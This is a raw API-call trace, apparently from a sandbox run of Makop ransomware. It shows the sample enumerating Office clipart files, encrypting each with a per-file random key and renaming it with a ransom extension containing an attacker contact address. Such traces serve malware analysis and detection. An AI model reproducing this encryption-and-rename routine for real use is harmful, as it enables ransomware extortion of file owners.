dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.577] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.577] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.577] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.577] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.577] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bc0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bc0, lpOverlapped=0x0) returned 1 [0153.579] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bc0, dwBufLen=0x1bc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bc0) returned 1 [0153.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.579] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1bc0, lpOverlapped=0x0) returned 1 [0153.579] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.579] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.579] SetEndOfFile (hFile=0xf0) returned 1 [0153.586] GetProcessHeap () returned 0x48a0000 [0153.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.587] GetProcessHeap () returned 0x48a0000 [0153.587] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.587] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.588] CloseHandle (hObject=0xf0) returned 1 [0153.589] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3399f000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3399f000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00231_.WMF", cAlternateFileName="")) returned 1 [0153.589] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF") returned 63 [0153.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.590] GetProcessHeap () returned 0x48a0000 [0153.590] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.590] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.590] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.590] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.596] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.596] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.596] GetProcessHeap () returned 0x48a0000 [0153.596] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.596] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.596] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.596] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.596] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.597] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.597] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.597] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.597] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.597] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.597] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.597] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.598] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x738, lpOverlapped=0x0) returned 1 [0153.598] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x740, dwBufLen=0x740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x740) returned 1 [0153.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.598] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x740, lpOverlapped=0x0) returned 1 [0153.598] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.598] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.598] SetEndOfFile (hFile=0xf0) returned 1 [0153.605] GetProcessHeap () returned 0x48a0000 [0153.605] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.605] GetProcessHeap () returned 0x48a0000 [0153.605] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.605] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00231_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00231_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.607] CloseHandle (hObject=0xf0) returned 1 [0153.607] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65787a00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65787a00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xc68, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00234_.WMF", cAlternateFileName="")) returned 1 [0153.607] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF") returned 63 [0153.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.610] GetProcessHeap () returned 0x48a0000 [0153.610] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.610] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.610] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.610] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.615] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.615] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.615] GetProcessHeap () returned 0x48a0000 [0153.615] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.615] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.615] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.615] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.615] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.616] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.616] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.616] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.616] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.616] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.616] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc68, lpOverlapped=0x0) returned 1 [0153.617] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc70, dwBufLen=0xc70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc70) returned 1 [0153.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.617] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc70, lpOverlapped=0x0) returned 1 [0153.617] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.617] SetEndOfFile (hFile=0xf0) returned 1 [0153.624] GetProcessHeap () returned 0x48a0000 [0153.624] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.624] GetProcessHeap () returned 0x48a0000 [0153.624] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.625] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00234_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.654] CloseHandle (hObject=0xf0) returned 1 [0153.654] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa3d200, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa3d200, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0xf8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00241_.WMF", cAlternateFileName="")) returned 1 [0153.654] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF") returned 63 [0153.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.656] GetProcessHeap () returned 0x48a0000 [0153.656] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.656] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.656] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.656] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.661] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.662] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.662] GetProcessHeap () returned 0x48a0000 [0153.662] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.662] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.662] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.662] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.662] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.663] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.663] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.664] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf8c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf8c, lpOverlapped=0x0) returned 1 [0153.664] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf90, dwBufLen=0xf90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf90) returned 1 [0153.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.664] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf90, lpOverlapped=0x0) returned 1 [0153.664] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.664] SetEndOfFile (hFile=0xf0) returned 1 [0153.672] GetProcessHeap () returned 0x48a0000 [0153.672] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.672] GetProcessHeap () returned 0x48a0000 [0153.672] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.672] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.674] CloseHandle (hObject=0xf0) returned 1 [0153.675] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e038d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e038d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00246_.WMF", cAlternateFileName="")) returned 1 [0153.675] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF") returned 63 [0153.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.676] GetProcessHeap () returned 0x48a0000 [0153.676] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.676] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.676] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.676] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0153.681] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.681] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.681] GetProcessHeap () returned 0x48a0000 [0153.681] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.681] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.681] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.681] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.681] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 